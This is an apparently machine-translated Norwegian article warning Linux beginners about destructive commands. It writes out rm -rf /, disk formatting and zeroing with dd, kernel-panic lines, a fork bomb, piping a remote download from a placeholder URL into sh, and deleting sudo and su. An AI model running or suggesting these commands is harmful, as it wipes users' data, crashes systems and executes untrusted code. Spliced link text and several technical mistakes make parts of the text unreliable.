Linux kan være et dobbeltkantet sverd. Det går ut fra at du vet hva du gjør og gir deg friheten til å gjøre hva du vil. Det vil ikke stille deg spørsmål. Dette er praktisk når du faktisk vet hva du gjør, men det betyr også at du kan tenke deg at systemet ditt ikke kan brukes innen sekunder.
Ny på Linux-kommandolinjen? Ingen bekymringer. Komme i gang med vår Linux-terminals hurtigstartguide En rask guide for å komme i gang med Linux-kommandolinjen En rask guide for å komme i gang med Linux-kommandolinjen Du kan gjøre mange fantastiske ting med kommandoer på Linux, og det er egentlig ikke vanskelig å lære. Les mer sammen med disse 40 viktige Linux-kommandoer. En AZ av Linux - 40 viktige kommandoer. Du bør vite en AZ av Linux. 40 viktige kommandoer. Du bør vite Linux er det ofte ignorerte tredje hjulet til Windows og Mac. Ja, det siste tiåret har operativsystemet for åpen kildekode fått mye trekkraft, men det er fortsatt langt fra å bli vurdert ... Les mer. Med disse to ressursene, vil du bli kjent med kommandolinjen på kort tid.
Men om du er en Linux nybegynner eller veteran, bør du aldri kjøre en kommando med mindre du vet nøyaktig hva den gjør. Her er noen av de dristigste Linux-kommandoene som du, for det meste, vil unngå.
Slett rekursivt
Linux-muligheten til å slette alt du vil uten spørsmål er en godsend, spesielt etter å ha håndtert år med "Den filen kan ikke slettes" i Windows. Men Internett-troll vil være rask til å bedra deg, og presenterer deg med ekstremt farlige fjerningskommandoer som kan tørke hele harddiskene.
rm -rf /
Denne linjen kjører fjernkommandoen rm med to vinkler: -r som tvinger rekursiv sletting gjennom alle underkataloger og -f som tvinger sletting av skrivebeskyttede filer uten bekreftelse. Kommandoen utføres på / root-katalogen, i det vesentlige tørker hele systemet ren.
Merk, disse dager på de fleste Linux-systemer hvis du prøvde å gjøre dette, vil du få en advarsel. Men advarselen er ikke garantert, så gjør det bare ikke.
Formater harddisk
Terminalen er spesielt vanskelig for Linux nybegynnere fordi den gir flere måter å uhell tørke ens harddisk. Rekursiv sletting er en stor, men her er en annen:
mkfs.ext3 /dev/hda
Denne kommandoen formaterer harddisken for å bruke ext3-filsystemet. Formatering av diskstasjoner Slik reformaterer du FAT32-disken til NTFS - og fordelene med å gjøre det Slik reformaterer du FAT32-disken til NTFS - og fordelene med å gjøre det Du kan ikke vite det, men det er faktisk flott å velge riktig filsystem for stasjonene dine. viktig. Selv om hovedideen til alle filsystemer er den samme, er det mange fordeler og ulemper over hver ... Les mer er ikke en iboende ondsinnet handling, men det "reset" stasjonen slik at den er "så god som ny". Med andre ord, en formatert harddisk er som en tom skifer.
Formatering er nyttig for diskpartisjoner og eksterne disker, men det er farlig å kjøre systemet på en helt harddisk (som / dev / hda ), og det kan føre til uopprettelig tilstand.
Overskrive harddisk
Som om uhelleskivformatering ikke var dårlig nok, er det mulig å overskrive harddisken din ved hjelp av rå data. Minst diskformatering er en faktisk prosedyre med virkelige bruksområder; Direkte overskriving av en stasjon, derimot, er ikke så stor.
command >/dev/hda
I kommandoen ovenfor kan kommandoen erstattes av en hvilken som helst Bash-kommando. Operatøren > omdirigerer utgangen fra kommandoen til venstre til filen til høyre. I dette tilfellet spiller det ingen rolle hva utgangen av den venstre kommandoen er. De rå dataene blir omdirigert og brukes til å overskrive systemets harddisk.
Som du kan forestille deg, gjør dette det ubrukelig.
Tørk harddisken
Her er en annen måte å ødelegge systemet ditt. Denne gangen vil kommandoen helt nullstille harddisken din. Ingen dataforstyrrelser eller overskriver det vil bokstavelig talt fylle harddisken med nuller. En harddisk blir ikke mer tørket enn det.
dd if=/dev/zero of=/dev/hda
Dd- kommandoen er en instruksjon på lavt nivå som vanligvis brukes til å skrive data til fysiske stasjoner. Om- parameteren bestemmer datakilden, som i dette tilfellet er / dev / null, en spesiell på Linux som produserer en uendelig strøm av nuller. Parameteren bestemmer destinasjonen for de nullene, som er / dev / hda- stasjonen.
Ja, det er legitime grunner til nullstilling av en stasjon, men hvis du ikke vet hva disse grunnene er, vil du bli borte fra denne kommandoen.
Imploder harddisken
Hvis du er lei av å høre måter å ødelegge harddisken din, må du henge på. Her er en mer for deg. På Linux er det en spesiell fil kalt / dev / null som vil kaste bort data som er skrevet til det. Du kan tenke på det som et svart hull eller en file shredder: alt gitt til det som input vil bli spist opp for godt.
mv / /dev/null
Kan du se faren her? Kommandoen mv prøver å flytte systemets rotkatalog / inn i det svarte hullet i / dev / null . Dette er en gyldig kommando, og resultatet er ødeleggende: harddisken blir spist opp og det er ingenting igjen. Å gjøre dette vil gjøre systemet ubrukelig.
Årsak Kjernen Panikk
Windows har sin beryktede Blue Screen of Death Windows 8 Krasj? Slik enkelt feilsøker du blå skjerm og andre problemer Windows 8 krasjer? Slik enkelt feilsøker du Blue Screen og andre problemer Windows 8 er ikke perfekt. Når det er sagt, er de fleste blåskjermene og programkrasj ikke Windows-feil. Våre tips hjelper deg med å identifisere nøyaktig hva som er galt med PCen og fikse det. Les mer . Og til tross for myter som flyter rundt, er Linux ikke et helt sikkert system. 4 Cyber Security Myths That Must Die 4 Cyber Security Myter som må dø Les mer. Noen ganger oppstår en intern feil hvor gjenoppretting er umulig, slik at systemet vil oppnå noe som ligner på den blå skjermen: en kjernepanikk .
dd if=/dev/random of=/dev/port echo 1>/proc/sys/kernel/panic cat /dev/port cat /dev/zero>/dev/mem
Det er ikke viktig her i detaljene i de ovennevnte kommandoene. Det som er viktig er at å kjøre noen av disse linjene vil resultere i en kjernepanikk, noe som tvinger deg til å starte systemet på nytt. Det er best å holde seg borte fra disse kommandoene med mindre du er helt sikker på at du vet hva du gjør.
Gaffelbombe
Bash er språket til Linux-terminalen Er Linux forvirrende? Her er de viktigste betingelsene du trenger å vite, er Linux forvirrende? Her er de viktigste betingelsene du trenger å vite Disse dager, installerer Ubuntu og andre moderne Linux-distribusjoner vanligvis uten hitch (og uten å kreve noen kunnskaper), men når du går videre med dem, vil du uunngåelig komme over alle slags terminologi som. .. Les mer og det er kraftig. Ikke bare kan det kjøre kommandoer, men det kan også kjøre funksjoner, noe som gjør det enkelt å skrive skript som kan automatisere systemoppgaver. Dessverre kommer funksjoner ikke uten sitt eget sett av risiko.
:(){:|:&};:
Denne uklare kommandoen kalles en gaffelbombe, som er en spesiell type kjernepanikk. Den definerer en funksjon som heter : som rekursivt kaller seg to ganger når den utføres. En av de rekursive samtalene foregår i forgrunnen mens den andre skjer i bakgrunnen.
Med andre ord, når denne funksjonen kjøres, spres det to barns prosesser. Disse barnprosessene henter sine egne barnprosesser, og denne syklusen fortsetter i en uendelig sløyfe. Den eneste veien ut av det er å starte systemet på nytt.
Utfør Remote Script
Her er en uskyldig kommando som faktisk kan være nyttig i det daglige livet på et Linux-system. wget henter innholdet på en webadresse, som kan brukes til å få tilgang til nettsteder eller laste ned filer. Det er imidlertid et enkelt triks som gjør det farlig:
wget http://an-untrusted-url -O- | sh
Ovennevnte kombinasjon laster ned innholdet i den oppgitte nettadressen og umiddelbart mater den til sh- kommandoen, som utfører det nedlastede innholdet i terminalen. Hvis nettadressen skulle peke på et skadelig skript, ville du forsegle din egen skjebne med denne kommandoen.
Deaktiver Root Command Rights
Denne endelige kommandoen er grei. Den benytter den vanlig brukte rm- kommandoen for å deaktivere to av de viktigste kommandoene på Linux: sudo og su . Lang historie kort, disse to tillater deg å kjøre andre kommandoer med root-tillatelser. Uten dem ville livet på Linux være elendig.
rm -f /usr/bin/sudo;rm -f /bin/su
Derfor bør du ikke kjøre denne kommandoen. Det styrker å slette begge kommandoene fra systemet uten noen bekreftelse, slik at du får en papirstopp. Det finnes måter å gjenopprette det du har slettet De beste måtene å gjenopprette data på Linux De beste måtene å gjenopprette data på Linux Uansett om det var feilen din eller ikke, kan det hende det skjer dataene som er lagret på enhetene dine. Harddisker, solid state-stasjoner og flyttbare medier kan alle potensielt "tape" filer på grunn av mange ... Les mer, men det er ikke alltid greit, og det vil heller ikke være hyggelig.
Vær forsiktig! Ikke vær redd for å leke med Linux Vurderer Linux? 10 Vanlige Spørsmål Besvart Vurderer Linux? 10 Vanlige spørsmål besvart Her er de vanligste spørsmålene som Windows-brukere har om Linux. Etter å ha gått gjennom denne listen over spørsmål og svar, bør du føle deg mye mer trygg på å prøve Linux. Les mer og kommandolinjeterminalen, men samtidig gjør du undersøkelsen og utfør aldri noe med mindre du er helt sikker på hva den gjør. Hvis noen forteller deg å "prøve denne kommandoen", må du alltid dobbelte og tredoble sjekke den.
Har du noen gang kjørt en destruktiv kommando? Hva skjedde? Har noen lurt deg inn i det? Del dine tanker og erfaringer med oss i kommentarene!